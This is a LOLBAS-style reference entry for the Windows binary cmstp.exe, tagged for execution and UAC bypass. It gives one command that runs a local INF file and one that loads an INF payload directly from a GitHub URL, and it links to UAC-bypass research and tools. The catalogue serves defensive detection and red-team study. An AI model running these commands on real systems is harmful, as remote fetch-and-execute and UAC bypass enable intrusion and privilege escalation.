LOLBAS/OSBinaries/Cmstp.md

Cmstp.exe

• Functions: Execute, UACBypass

cmstp.exe /ni /s c:\cmstp\CorpVPN.inf     

cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf     

Acknowledgements:

• Oddvar Moe - @oddvarmoe
• Nick Tyrer - @NickTyrer

Code sample:

• Cmstp.inf
• Cmstp_calc.sct

Resources:

• https://twitter.com/NickTyrer/status/958450014111633408
• https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80
• https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e
• https://oddvar.moe/2017/08/15/research-on-cmstp-exe/
• 3127ba7453/UACBypassCMSTP.ps1 (UAC Bypass)
• https://github.com/hfiref0x/UACME

Full path:

C:\Windows\system32\cmstp.exe
C:\Windows\sysWOW64\cmstp.exe

Notes: